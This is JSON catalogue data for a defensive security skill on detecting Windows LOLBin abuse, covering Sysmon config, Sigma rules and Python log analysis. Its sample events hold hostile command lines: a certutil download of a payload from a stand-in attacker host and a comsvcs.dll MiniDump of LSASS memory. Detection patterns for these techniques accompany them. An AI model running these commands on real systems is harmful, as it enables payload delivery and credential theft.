[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7A65AAA9MZRC084G3YXDYCV":3,"skill-same:01M7A65AAA9MZRC084G3YXDYCV":87},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":50,"commitSha":51,"skillDirectory":52,"forksCount":14,"repositoryHtmlUrl":53,"repositoryHomepageUrl":6,"ownerHtmlUrl":54,"ownerBlogUrl":6,"ownerDescription":55,"updatedAt":56,"install":57,"resources":70},"01M7A65AAA9MZRC084G3YXDYCV","detecting-living-off-the-land-attacks",null,"Detect abuse of legitimate Windows binaries (LOLBins) used for living off the land attacks. Monitors process creation, command-line arguments, and parent-child relationships to identify suspicious LOLBin execution patterns.","NeelakshSaxena\u002FVayu","NeelakshSaxena","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F87892838?v=4","01M7A3B9YFS6F6N9DD1787DT86","Neelaksh Saxena","01M7A3B9ZKBT09MNMPX2XN69BY",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fdetecting-living-off-the-land-attacks\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fdetecting-living-off-the-land-attacks\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: detecting-living-off-the-land-attacks\ndescription: 'Detect abuse of legitimate Windows binaries (LOLBins) used for living\n  off the land attacks. Monitors process creation, command-line arguments, and parent-child\n  relationships to identify suspicious LOLBin execution patterns.\n\n  '\ndomain: cybersecurity\nsubdomain: threat-detection\ntags:\n- lolbins\n- lotl\n- fileless-attacks\n- process-monitoring\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nd3fend_techniques:\n- Application Protocol Command Analysis\n- Network Isolation\n- Network Traffic Analysis\n- Client-server Payload Profiling\n- Network Traffic Community Deviation\nnist_csf:\n- DE.CM-01\n- DE.AE-02\n- DE.AE-06\n- ID.RA-05\nmitre_attack:\n- T1078\n- T1190\n- T1059\n---\n\n# Detecting Living Off the Land Attacks\n\nMonitor for suspicious use of legitimate Windows binaries (LOLBins)\nincluding certutil, mshta, rundll32, regsvr32, and others used in\nfileless and living-off-the-land attack techniques.\n\n## When to Use\n\n- Building detection rules for SIEM or EDR platforms to catch LOLBin abuse in real time\n- Investigating alerts where legitimate system binaries appear in unexpected execution contexts\n- Threat hunting across endpoint telemetry for fileless attack indicators\n- Hardening application whitelisting policies (AppLocker, WDAC) to restrict dangerous LOLBin usage\n- Creating Sysmon configurations tuned to capture LOLBin-related process creation events\n- Responding to incidents where adversaries bypassed AV by using only built-in OS tools\n\n**Do not use** for blocking all LOLBin execution outright; these are legitimate system tools with valid administrative uses. Detection must focus on anomalous context (parent process, command-line arguments, network activity) rather than binary presence alone.\n\n## Prerequisites\n\n- Sysmon v15+ installed on Windows endpoints with a tuned configuration (SwiftOnSecurity or Olaf Hartong baseline)\n- SIEM platform ingesting Sysmon Event IDs 1 (Process Create), 3 (Network Connection), 7 (Image Loaded), 11 (File Create)\n- Windows Event Log forwarding for Security Event IDs 4688 (Process Creation with command-line logging enabled)\n- LOLBAS project reference: https:\u002F\u002Flolbas-project.github.io\u002F\n- Python 3.8+ with `evtx`, `pandas` for offline log analysis\n- Sigma rule repository for cross-platform detection rule authoring\n\n## Workflow\n\n### Step 1: Deploy a LOLBin-Focused Sysmon Configuration\n\nCreate a Sysmon config that captures the process creation and network events needed for LOLBin detection:\n\n```xml\n\u003C!-- File: sysmon-lolbin-detection.xml -->\n\u003CSysmon schemaversion=\"4.90\">\n  \u003CEventFiltering>\n    \u003C!-- Process Creation: capture all LOLBin executions with full command lines -->\n    \u003CRuleGroup name=\"LOLBin Process Creation\" groupRelation=\"or\">\n      \u003CProcessCreate onmatch=\"include\">\n        \u003CImage condition=\"end with\">certutil.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">mshta.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">rundll32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">regsvr32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">msbuild.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">installutil.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">cmstp.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">wmic.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">bitsadmin.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">certreq.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">esentutl.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">expand.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">extrac32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">findstr.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">hh.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">ie4uinit.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">mavinject.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">msiexec.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">odbcconf.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">pcalua.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">presentationhost.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">replace.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">xwizard.exe\u003C\u002FImage>\n        \u003C!-- PowerShell variants -->\n        \u003CImage condition=\"end with\">powershell.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">pwsh.exe\u003C\u002FImage>\n        \u003C!-- Script hosts -->\n        \u003CImage condition=\"end with\">cscript.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">wscript.exe\u003C\u002FImage>\n      \u003C\u002FProcessCreate>\n    \u003C\u002FRuleGroup>\n\n    \u003C!-- Network connections from LOLBins (highly suspicious) -->\n    \u003CRuleGroup name=\"LOLBin Network\" groupRelation=\"or\">\n      \u003CNetworkConnect onmatch=\"include\">\n        \u003CImage condition=\"end with\">certutil.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">mshta.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">rundll32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">regsvr32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">msbuild.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">bitsadmin.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">expand.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">esentutl.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">replace.exe\u003C\u002FImage>\n      \u003C\u002FNetworkConnect>\n    \u003C\u002FRuleGroup>\n  \u003C\u002FEventFiltering>\n\u003C\u002FSysmon>\n```\n\n```powershell\n# Install or update Sysmon with the LOLBin config\nsysmon64.exe -accepteula -i sysmon-lolbin-detection.xml\n\n# Update existing Sysmon installation\nsysmon64.exe -c sysmon-lolbin-detection.xml\n```\n\n### Step 2: Build Sigma Detection Rules for Key LOLBins\n\nWrite Sigma rules that detect specific abuse patterns, translatable to any SIEM:\n\n```yaml\n# File: sigma\u002Fcertutil_download.yml\ntitle: Certutil Used to Download File\nid: a1b2c3d4-5678-9abc-def0-123456789abc\nstatus: stable\ndescription: >\n  Detects certutil.exe being used to download files from remote URLs,\n  a common LOLBin technique for payload delivery (LOLBAS T1105).\nreferences:\n  - https:\u002F\u002Flolbas-project.github.io\u002Flolbas\u002FBinaries\u002FCertutil\u002F\n  - https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1105\u002F\nauthor: Threat Detection Team\ndate: 2026\u002F01\u002F20\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection:\n    Image|endswith: '\\certutil.exe'\n    CommandLine|contains|all:\n      - 'urlcache'\n      - '-f'\n      - 'http'\n  condition: selection\nfalsepositives:\n  - Legitimate certificate enrollment using certutil with URL parameters\nlevel: high\ntags:\n  - attack.defense_evasion\n  - attack.t1218\n  - attack.command_and_control\n  - attack.t1105\n```\n\n```yaml\n# File: sigma\u002Fmshta_execution.yml\ntitle: MSHTA Executing Remote or Inline Script\nid: b2c3d4e5-6789-abcd-ef01-234567890bcd\nstatus: stable\ndescription: >\n  Detects mshta.exe executing scripts from URLs or inline VBScript\u002FJavaScript,\n  commonly used for application whitelisting bypass and initial access.\nreferences:\n  - https:\u002F\u002Flolbas-project.github.io\u002Flolbas\u002FBinaries\u002FMshta\u002F\n  - https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1218\u002F005\u002F\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection_remote:\n    Image|endswith: '\\mshta.exe'\n    CommandLine|contains: 'http'\n  selection_inline:\n    Image|endswith: '\\mshta.exe'\n    CommandLine|contains:\n      - 'vbscript:'\n      - 'javascript:'\n  selection_parent_anomaly:\n    Image|endswith: '\\mshta.exe'\n    ParentImage|endswith:\n      - '\\winword.exe'\n      - '\\excel.exe'\n      - '\\outlook.exe'\n      - '\\powerpnt.exe'\n  condition: selection_remote or selection_inline or selection_parent_anomaly\nfalsepositives:\n  - Legacy HTA-based internal applications\nlevel: high\n```\n\n```yaml\n# File: sigma\u002Fregsvr32_scrobj.yml\ntitle: Regsvr32 Squiblydoo Scriptlet Execution\nid: c3d4e5f6-7890-bcde-f012-345678901cde\nstatus: stable\ndescription: >\n  Detects regsvr32.exe loading scrobj.dll with a remote scriptlet URL,\n  known as the Squiblydoo technique for AppLocker bypass.\nreferences:\n  - https:\u002F\u002Flolbas-project.github.io\u002Flolbas\u002FBinaries\u002FRegsvr32\u002F\n  - https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1218\u002F010\u002F\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection:\n    Image|endswith: '\\regsvr32.exe'\n    CommandLine|contains|all:\n      - 'scrobj.dll'\n      - '\u002Fi:'\n  condition: selection\nfalsepositives:\n  - Legitimate COM scriptlet registration (rare in modern environments)\nlevel: critical\n```\n\n### Step 3: Analyze Sysmon Logs for LOLBin Abuse Patterns\n\nParse and correlate Sysmon events to identify suspicious LOLBin execution:\n\n```python\nimport json\nimport re\nfrom datetime import datetime, timedelta\nfrom collections import defaultdict\nfrom pathlib import Path\n\n# Known LOLBins and their suspicious command-line indicators\nLOLBIN_SIGNATURES = {\n    \"certutil.exe\": {\n        \"suspicious_args\": [\n            r\"-urlcache\\s+-f\\s+http\",\n            r\"-decode\\s+\",\n            r\"-encode\\s+\",\n            r\"-verifyctl\\s+.*http\",\n        ],\n        \"mitre\": \"T1218, T1105\",\n        \"severity\": \"high\"\n    },\n    \"mshta.exe\": {\n        \"suspicious_args\": [\n            r\"https?:\u002F\u002F\",\n            r\"vbscript:\",\n            r\"javascript:\",\n            r\"about:\",\n        ],\n        \"mitre\": \"T1218.005\",\n        \"severity\": \"high\"\n    },\n    \"rundll32.exe\": {\n        \"suspicious_args\": [\n            r\"javascript:\",\n            r\"shell32\\.dll.*ShellExec_RunDLL\",\n            r\"\\\\\\\\.*\\\\.*\\.dll\",  # UNC path DLL loading\n            r\"comsvcs\\.dll.*MiniDump\",  # LSASS dump via comsvcs\n        ],\n        \"mitre\": \"T1218.011\",\n        \"severity\": \"critical\"\n    },\n    \"regsvr32.exe\": {\n        \"suspicious_args\": [\n            r\"\u002Fs\\s+\u002Fn\\s+\u002Fu\\s+\u002Fi:\",\n            r\"scrobj\\.dll\",\n            r\"https?:\u002F\u002F\",\n        ],\n        \"mitre\": \"T1218.010\",\n        \"severity\": \"critical\"\n    },\n    \"bitsadmin.exe\": {\n        \"suspicious_args\": [\n            r\"\u002Ftransfer\\s+.*https?:\u002F\u002F\",\n            r\"\u002Fcreate\\s+.*\\\u002Faddfile\\s+.*https?:\u002F\u002F\",\n            r\"\u002FSetNotifyCmdLine\",\n        ],\n        \"mitre\": \"T1197\",\n        \"severity\": \"high\"\n    },\n    \"wmic.exe\": {\n        \"suspicious_args\": [\n            r\"process\\s+call\\s+create\",\n            r\"\u002Fnode:\",\n            r\"os\\s+get\\s+\u002Fformat:.*https?:\u002F\u002F\",\n            r\"xsl.*https?:\u002F\u002F\",\n        ],\n        \"mitre\": \"T1047\",\n        \"severity\": \"high\"\n    },\n    \"msbuild.exe\": {\n        \"suspicious_args\": [\n            r\"\\.xml\\b\",\n            r\"\\.csproj\\b\",\n            r\"\\\\temp\\\\\",\n            r\"\\\\appdata\\\\\",\n        ],\n        \"mitre\": \"T1127.001\",\n        \"severity\": \"high\"\n    },\n    \"mavinject.exe\": {\n        \"suspicious_args\": [\n            r\"\u002FINJECTRUNNING\\s+\\d+\",\n        ],\n        \"mitre\": \"T1218.013\",\n        \"severity\": \"critical\"\n    },\n}\n\ndef analyze_sysmon_events(events):\n    \"\"\"Analyze Sysmon process creation events for LOLBin abuse.\"\"\"\n    alerts = []\n\n    for event in events:\n        image = event.get(\"Image\", \"\").lower()\n        cmdline = event.get(\"CommandLine\", \"\")\n        parent = event.get(\"ParentImage\", \"\")\n\n        # Check if the process is a known LOLBin\n        for lolbin, config in LOLBIN_SIGNATURES.items():\n            if image.endswith(lolbin.lower()):\n                for pattern in config[\"suspicious_args\"]:\n                    if re.search(pattern, cmdline, re.IGNORECASE):\n                        alert = {\n                            \"timestamp\": event.get(\"UtcTime\", \"\"),\n                            \"hostname\": event.get(\"Computer\", \"\"),\n                            \"lolbin\": lolbin,\n                            \"command_line\": cmdline,\n                            \"parent_process\": parent,\n                            \"user\": event.get(\"User\", \"\"),\n                            \"process_id\": event.get(\"ProcessId\", \"\"),\n                            \"parent_pid\": event.get(\"ParentProcessId\", \"\"),\n                            \"mitre_technique\": config[\"mitre\"],\n                            \"severity\": config[\"severity\"],\n                            \"matched_pattern\": pattern,\n                        }\n                        alerts.append(alert)\n                        break\n    return alerts\n\n# Example usage with parsed Sysmon events\nsample_events = [\n    {\n        \"UtcTime\": \"2026-01-20 14:32:15.000\",\n        \"Computer\": \"WORKSTATION-01\",\n        \"Image\": \"C:\\\\Windows\\\\System32\\\\certutil.exe\",\n        \"CommandLine\": \"certutil.exe -urlcache -f http:\u002F\u002Fevil.example.com\u002Fpayload.exe C:\\\\temp\\\\update.exe\",\n        \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n        \"User\": \"CORP\\\\jsmith\",\n        \"ProcessId\": \"4532\",\n        \"ParentProcessId\": \"2108\",\n    },\n    {\n        \"UtcTime\": \"2026-01-20 14:33:01.000\",\n        \"Computer\": \"WORKSTATION-01\",\n        \"Image\": \"C:\\\\Windows\\\\System32\\\\rundll32.exe\",\n        \"CommandLine\": \"rundll32.exe comsvcs.dll, MiniDump 624 C:\\\\temp\\\\dump.bin full\",\n        \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n        \"User\": \"CORP\\\\jsmith\",\n        \"ProcessId\": \"5128\",\n        \"ParentProcessId\": \"2108\",\n    },\n]\n\nalerts = analyze_sysmon_events(sample_events)\nfor alert in alerts:\n    print(f\"[{alert['severity'].upper()}] {alert['lolbin']} on {alert['hostname']}\")\n    print(f\"  MITRE: {alert['mitre_technique']}\")\n    print(f\"  Command: {alert['command_line'][:120]}\")\n    print(f\"  Parent: {alert['parent_process']}\")\n    print(f\"  User: {alert['user']}\")\n    print()\n```\n\n### Step 4: Detect LOLBin Network Connections\n\nLOLBins making outbound network connections is a strong indicator of malicious use:\n\n```python\ndef detect_lolbin_network_activity(network_events, process_events):\n    \"\"\"Correlate Sysmon network events (ID 3) with process creation (ID 1)\n    to find LOLBins making outbound connections.\"\"\"\n\n    # LOLBins that should rarely make outbound connections\n    NETWORK_SUSPICIOUS = {\n        \"certutil.exe\", \"mshta.exe\", \"rundll32.exe\", \"regsvr32.exe\",\n        \"msbuild.exe\", \"installutil.exe\", \"bitsadmin.exe\", \"esentutl.exe\",\n        \"expand.exe\", \"replace.exe\", \"cmstp.exe\", \"presentationhost.exe\",\n    }\n\n    alerts = []\n    for event in network_events:\n        image = event.get(\"Image\", \"\").lower()\n        binary_name = image.split(\"\\\\\")[-1] if \"\\\\\" in image else image\n\n        if binary_name in NETWORK_SUSPICIOUS:\n            dest_ip = event.get(\"DestinationIp\", \"\")\n            dest_port = event.get(\"DestinationPort\", \"\")\n\n            # Skip localhost and internal DNS\n            if dest_ip.startswith(\"127.\") or dest_ip == \"::1\":\n                continue\n\n            alert = {\n                \"type\": \"lolbin_network_connection\",\n                \"binary\": binary_name,\n                \"destination_ip\": dest_ip,\n                \"destination_port\": dest_port,\n                \"destination_hostname\": event.get(\"DestinationHostname\", \"\"),\n                \"source_ip\": event.get(\"SourceIp\", \"\"),\n                \"user\": event.get(\"User\", \"\"),\n                \"timestamp\": event.get(\"UtcTime\", \"\"),\n                \"severity\": \"critical\",\n            }\n            alerts.append(alert)\n            print(f\"[CRITICAL] {binary_name} connected to \"\n                  f\"{dest_ip}:{dest_port} ({event.get('DestinationHostname', 'N\u002FA')})\")\n\n    return alerts\n```\n\n### Step 5: Monitor Anomalous Parent-Child Process Relationships\n\n```python\n# Suspicious parent-child relationships indicating LOLBin abuse\nSUSPICIOUS_PARENT_CHILD = [\n    # Office apps spawning LOLBins (macro execution)\n    {\"parent\": [\"winword.exe\", \"excel.exe\", \"powerpnt.exe\", \"outlook.exe\"],\n     \"child\": [\"cmd.exe\", \"powershell.exe\", \"pwsh.exe\", \"mshta.exe\",\n               \"wscript.exe\", \"cscript.exe\", \"certutil.exe\"],\n     \"severity\": \"critical\", \"mitre\": \"T1204.002\"},\n\n    # Explorer spawning script interpreters directly\n    {\"parent\": [\"explorer.exe\"],\n     \"child\": [\"mshta.exe\", \"regsvr32.exe\", \"msbuild.exe\"],\n     \"severity\": \"high\", \"mitre\": \"T1218\"},\n\n    # WMI provider spawning processes (lateral movement)\n    {\"parent\": [\"wmiprvse.exe\"],\n     \"child\": [\"cmd.exe\", \"powershell.exe\", \"mshta.exe\"],\n     \"severity\": \"critical\", \"mitre\": \"T1047\"},\n\n    # Services spawning unusual children\n    {\"parent\": [\"services.exe\"],\n     \"child\": [\"cmd.exe\", \"powershell.exe\", \"mshta.exe\", \"rundll32.exe\"],\n     \"severity\": \"high\", \"mitre\": \"T1543.003\"},\n]\n\ndef check_parent_child_anomaly(event):\n    \"\"\"Check if a process creation event has a suspicious parent-child pair.\"\"\"\n    parent = event.get(\"ParentImage\", \"\").split(\"\\\\\")[-1].lower()\n    child = event.get(\"Image\", \"\").split(\"\\\\\")[-1].lower()\n\n    for rule in SUSPICIOUS_PARENT_CHILD:\n        if parent in rule[\"parent\"] and child in rule[\"child\"]:\n            return {\n                \"alert_type\": \"suspicious_parent_child\",\n                \"parent\": parent,\n                \"child\": child,\n                \"command_line\": event.get(\"CommandLine\", \"\"),\n                \"mitre\": rule[\"mitre\"],\n                \"severity\": rule[\"severity\"],\n                \"hostname\": event.get(\"Computer\", \"\"),\n                \"user\": event.get(\"User\", \"\"),\n                \"timestamp\": event.get(\"UtcTime\", \"\"),\n            }\n    return None\n```\n\n### Step 6: Implement AppLocker or WDAC Hardening\n\nRestrict unnecessary LOLBin execution with application control policies:\n\n```powershell\n# Query current AppLocker policy\nGet-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections\n\n# Create AppLocker rules to restrict certutil to admin-only\n$rule = New-AppLockerPolicy -RuleType Publisher -RuleNamePrefix \"Block\" `\n    -FileInformation \"C:\\Windows\\System32\\certutil.exe\" `\n    -User \"S-1-1-0\" -Deny\n\n# Export current policy for backup before applying changes\nGet-AppLockerPolicy -Effective -Xml > AppLocker_Backup.xml\n\n# Block specific LOLBins for standard users via GPO script\n$lolbins_to_restrict = @(\n    \"mshta.exe\", \"cmstp.exe\", \"msbuild.exe\", \"installutil.exe\",\n    \"regsvr32.exe\", \"presentationhost.exe\", \"ie4uinit.exe\",\n    \"mavinject.exe\", \"xwizard.exe\"\n)\n\nforeach ($binary in $lolbins_to_restrict) {\n    $path = \"C:\\Windows\\System32\\$binary\"\n    if (Test-Path $path) {\n        Write-Output \"Restricting: $path\"\n        # Apply WDAC deny rule via PowerShell\n        # In production, use Group Policy or Intune WDAC policies\n    }\n}\n```\n\n## Verification\n\n- Confirm Sysmon is logging Event ID 1 (Process Creation) with full command-line arguments for all listed LOLBins\n- Validate Sigma rules convert correctly to your SIEM query language using `sigmac` or `sigma-cli`\n- Test detection by executing benign LOLBin commands in a lab environment and confirming alerts fire\n- Verify parent-child anomaly detection catches Office-to-LOLBin chains (e.g., `winword.exe` spawning `certutil.exe`)\n- Confirm LOLBin network connection detection triggers when `certutil.exe` or `mshta.exe` reach out to external IPs\n- Check that AppLocker or WDAC policies do not break legitimate administrative workflows before deploying to production\n- Validate false positive rates by running detection rules against 7 days of baseline telemetry from a clean environment\n- Cross-reference detections against the LOLBAS project database at https:\u002F\u002Flolbas-project.github.io\u002F for completeness\n","# Detecting Living Off the Land Attacks\n\nMonitor for suspicious use of legitimate Windows binaries (LOLBins)\nincluding certutil, mshta, rundll32, regsvr32, and others used in\nfileless and living-off-the-land attack techniques.\n\n## When to Use\n\n- Building detection rules for SIEM or EDR platforms to catch LOLBin abuse in real time\n- Investigating alerts where legitimate system binaries appear in unexpected execution contexts\n- Threat hunting across endpoint telemetry for fileless attack indicators\n- Hardening application whitelisting policies (AppLocker, WDAC) to restrict dangerous LOLBin usage\n- Creating Sysmon configurations tuned to capture LOLBin-related process creation events\n- Responding to incidents where adversaries bypassed AV by using only built-in OS tools\n\n**Do not use** for blocking all LOLBin execution outright; these are legitimate system tools with valid administrative uses. Detection must focus on anomalous context (parent process, command-line arguments, network activity) rather than binary presence alone.\n\n## Prerequisites\n\n- Sysmon v15+ installed on Windows endpoints with a tuned configuration (SwiftOnSecurity or Olaf Hartong baseline)\n- SIEM platform ingesting Sysmon Event IDs 1 (Process Create), 3 (Network Connection), 7 (Image Loaded), 11 (File Create)\n- Windows Event Log forwarding for Security Event IDs 4688 (Process Creation with command-line logging enabled)\n- LOLBAS project reference: https:\u002F\u002Flolbas-project.github.io\u002F\n- Python 3.8+ with `evtx`, `pandas` for offline log analysis\n- Sigma rule repository for cross-platform detection rule authoring\n\n## Workflow\n\n### Step 1: Deploy a LOLBin-Focused Sysmon Configuration\n\nCreate a Sysmon config that captures the process creation and network events needed for LOLBin detection:\n\n```xml\n\u003C!-- File: sysmon-lolbin-detection.xml -->\n\u003CSysmon schemaversion=\"4.90\">\n  \u003CEventFiltering>\n    \u003C!-- Process Creation: capture all LOLBin executions with full command lines -->\n    \u003CRuleGroup name=\"LOLBin Process Creation\" groupRelation=\"or\">\n      \u003CProcessCreate onmatch=\"include\">\n        \u003CImage condition=\"end with\">certutil.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">mshta.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">rundll32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">regsvr32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">msbuild.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">installutil.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">cmstp.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">wmic.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">bitsadmin.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">certreq.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">esentutl.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">expand.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">extrac32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">findstr.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">hh.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">ie4uinit.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">mavinject.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">msiexec.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">odbcconf.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">pcalua.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">presentationhost.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">replace.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">xwizard.exe\u003C\u002FImage>\n        \u003C!-- PowerShell variants -->\n        \u003CImage condition=\"end with\">powershell.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">pwsh.exe\u003C\u002FImage>\n        \u003C!-- Script hosts -->\n        \u003CImage condition=\"end with\">cscript.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">wscript.exe\u003C\u002FImage>\n      \u003C\u002FProcessCreate>\n    \u003C\u002FRuleGroup>\n\n    \u003C!-- Network connections from LOLBins (highly suspicious) -->\n    \u003CRuleGroup name=\"LOLBin Network\" groupRelation=\"or\">\n      \u003CNetworkConnect onmatch=\"include\">\n        \u003CImage condition=\"end with\">certutil.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">mshta.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">rundll32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">regsvr32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">msbuild.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">bitsadmin.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">expand.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">esentutl.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">replace.exe\u003C\u002FImage>\n      \u003C\u002FNetworkConnect>\n    \u003C\u002FRuleGroup>\n  \u003C\u002FEventFiltering>\n\u003C\u002FSysmon>\n```\n\n```powershell\n# Install or update Sysmon with the LOLBin config\nsysmon64.exe -accepteula -i sysmon-lolbin-detection.xml\n\n# Update existing Sysmon installation\nsysmon64.exe -c sysmon-lolbin-detection.xml\n```\n\n### Step 2: Build Sigma Detection Rules for Key LOLBins\n\nWrite Sigma rules that detect specific abuse patterns, translatable to any SIEM:\n\n```yaml\n# File: sigma\u002Fcertutil_download.yml\ntitle: Certutil Used to Download File\nid: a1b2c3d4-5678-9abc-def0-123456789abc\nstatus: stable\ndescription: >\n  Detects certutil.exe being used to download files from remote URLs,\n  a common LOLBin technique for payload delivery (LOLBAS T1105).\nreferences:\n  - https:\u002F\u002Flolbas-project.github.io\u002Flolbas\u002FBinaries\u002FCertutil\u002F\n  - https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1105\u002F\nauthor: Threat Detection Team\ndate: 2026\u002F01\u002F20\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection:\n    Image|endswith: '\\certutil.exe'\n    CommandLine|contains|all:\n      - 'urlcache'\n      - '-f'\n      - 'http'\n  condition: selection\nfalsepositives:\n  - Legitimate certificate enrollment using certutil with URL parameters\nlevel: high\ntags:\n  - attack.defense_evasion\n  - attack.t1218\n  - attack.command_and_control\n  - attack.t1105\n```\n\n```yaml\n# File: sigma\u002Fmshta_execution.yml\ntitle: MSHTA Executing Remote or Inline Script\nid: b2c3d4e5-6789-abcd-ef01-234567890bcd\nstatus: stable\ndescription: >\n  Detects mshta.exe executing scripts from URLs or inline VBScript\u002FJavaScript,\n  commonly used for application whitelisting bypass and initial access.\nreferences:\n  - https:\u002F\u002Flolbas-project.github.io\u002Flolbas\u002FBinaries\u002FMshta\u002F\n  - https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1218\u002F005\u002F\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection_remote:\n    Image|endswith: '\\mshta.exe'\n    CommandLine|contains: 'http'\n  selection_inline:\n    Image|endswith: '\\mshta.exe'\n    CommandLine|contains:\n      - 'vbscript:'\n      - 'javascript:'\n  selection_parent_anomaly:\n    Image|endswith: '\\mshta.exe'\n    ParentImage|endswith:\n      - '\\winword.exe'\n      - '\\excel.exe'\n      - '\\outlook.exe'\n      - '\\powerpnt.exe'\n  condition: selection_remote or selection_inline or selection_parent_anomaly\nfalsepositives:\n  - Legacy HTA-based internal applications\nlevel: high\n```\n\n```yaml\n# File: sigma\u002Fregsvr32_scrobj.yml\ntitle: Regsvr32 Squiblydoo Scriptlet Execution\nid: c3d4e5f6-7890-bcde-f012-345678901cde\nstatus: stable\ndescription: >\n  Detects regsvr32.exe loading scrobj.dll with a remote scriptlet URL,\n  known as the Squiblydoo technique for AppLocker bypass.\nreferences:\n  - https:\u002F\u002Flolbas-project.github.io\u002Flolbas\u002FBinaries\u002FRegsvr32\u002F\n  - https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1218\u002F010\u002F\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection:\n    Image|endswith: '\\regsvr32.exe'\n    CommandLine|contains|all:\n      - 'scrobj.dll'\n      - '\u002Fi:'\n  condition: selection\nfalsepositives:\n  - Legitimate COM scriptlet registration (rare in modern environments)\nlevel: critical\n```\n\n### Step 3: Analyze Sysmon Logs for LOLBin Abuse Patterns\n\nParse and correlate Sysmon events to identify suspicious LOLBin execution:\n\n```python\nimport json\nimport re\nfrom datetime import datetime, timedelta\nfrom collections import defaultdict\nfrom pathlib import Path\n\n# Known LOLBins and their suspicious command-line 